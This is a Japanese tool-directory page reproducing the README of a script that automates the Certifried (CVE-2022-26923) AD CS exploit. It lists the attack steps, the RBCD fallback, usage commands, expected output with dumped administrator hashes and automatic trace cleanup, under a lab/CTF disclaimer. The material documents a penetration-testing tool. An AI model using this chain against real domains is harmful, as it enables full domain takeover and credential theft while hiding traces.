Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-26923 — Automated CVE-2022-26923 Exploitation (Certifried) | Kitploit
ツール/GitHubGitHub/nefhara/cve-2022-26923
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationCTFPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubnefhara/cve-2022-26923

CVE-2022-26923

Automated CVE-2022-26923 Exploitation (Certifried)

2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2022-26923 – Certifried Exploit(AD CS の悪用)

CVE-2022-26923(Certifried) の自動化された悪用。Active Directory 証明書サービス(AD CS)の悪用による権限昇格を可能にし、Resource-Based Constrained Delegation(RBCD)への自動フォールバックを備え、最終的にドメイン管理者アカウントの NTLM ハッシュをダンプします。

⚠️ 教育目的 / ラボ / CTF 専用

許可されていない環境では使用しないでください。


🎯 説明

このスクリプトは、以下の攻撃チェーンを自動化します。

方法 1 — クラシック(CVE 直接悪用)

  1. 制御下のマシンアカウントを作成(競合を避けるためランダム名)
  2. dNSHostName 属性をドメインコントローラに一致するように偽装
  3. AD CS 経由でマシン証明書を要求
  4. 証明書を使用して認証 → PKINIT 経由で DC の NTLM ハッシュを抽出
  5. DC ハッシュを使用して secretsdump.py で DCSync 攻撃を実行

方法 2 — フォールバック(RBCD)(方法 1 が失敗した場合に自動)

  1. PFX を PEM に変換し、bloodyAD で使用
  2. DC 上で Resource-Based Constrained Delegation(RBCD)を構成
  3. impacket-addspn を使用して侵害されたマシンアカウントに SPN を追加
  4. getST.py で S4U2Self + S4U2Proxy チケットを要求
  5. Kerberos チケットを使用して secretsdump.py で NTLM ハッシュをダンプ

🔗 脆弱性

  • CVE-2022-26923 – 「Certifried」 — CVSS 8.8(高)
  • AD CS を実行している Active Directory 環境に影響
  • 低権限ユーザーが dNSHostName 属性を操作してドメインコントローラを偽装し、CA が DC アカウントに証明書を発行することを可能にする

🛠 使用ツール


📦 依存関係のインストール

root@kitploit:~
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 使い方

root@kitploit:~
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

利用可能なオプション

root@kitploit:~
-d, --dc-ip     ドメインコントローラの IP アドレス
-D, --domain    ドメイン名(例: corp.local)
-u, --user      有効なドメインユーザー(UPN 形式: user@domain)
-p, --pass      ユーザーパスワード
--verbose       デバッグモード: 実行するすべてのコマンドを表示
-h, --help      このヘルプメッセージを表示

🧠 例(HTB Certifried)

root@kitploit:~
./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

ヒント: 実行前に、以下を使用して正確な CA 名とテンプレートを特定してください:

root@kitploit:~
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

その後、スクリプトのデフォルト設定で CA_NAME と TEMPLATE を適宜更新してください。


🔥 期待される出力

環境に応じて、2 つのパスのいずれかが成功します。

方法 1(クラシック):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

方法 2(RBCD フォールバック):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

OPSEC クリーンアップは自動的に実行されます(終了時または Ctrl+C で):

root@kitploit:~
[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 内部攻撃フロー

root@kitploit:~
Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 既知の問題とトラブルシューティング


⚠️ 免責事項

このプロジェクトは以下を目的として提供されています。

  • 教育および研究目的
  • 個人のラボ環境
  • CTF / HackTheBox / キャプチャ・ザ・フラグ(Capture-The-Flag)チャレンジ
  • 許可されたペネトレーションテスト(書面による承認を得たもの)

作者は、このツールの無許可または違法な使用に対して一切の責任を負いません。

ツールをダウンロード
ツール目的
certipy-adアカウント作成/更新、証明書要求、PKINIT 認証
bloodyADRBCD 属性操作(フォールバック)
impacket-addspnマシンアカウントへの SPN 追加(フォールバック)
impacket-getSTS4U2Self + S4U2Proxy チケット要求(フォールバック)
impacket-secretsdumpDCSync / NTLM ハッシュダンプ
opensslPFX → PEM 変換(フォールバック)
症状原因修正
NETBIOS connection timed outHTB 上の AD CS RPC の遅延自動処理(5 回再試行)
KDC_ERR_BADOPTION (getST 時)COMP$ に SPN が不足スクリプトは getST 前に impacket-addspn を使用するようになりました
KDC_ERR_WRONG_REALM (secretsdump 時)誤った SPN(LDAP と cifs)スクリプトは getST に cifs/ SPN を使用
Clock skew too greatKerberos 時刻のずれ実行前に sudo ntpdate <DC_IP> を実行
マシンアカウントの削除に失敗不十分な AD 権限(通常)スクリプトは `
unrecognized arguments (certipy-ad 時)構文の誤り(古い certipy 形式)スクリプトは明示的なフラグ -u/-p/-target-ip を使用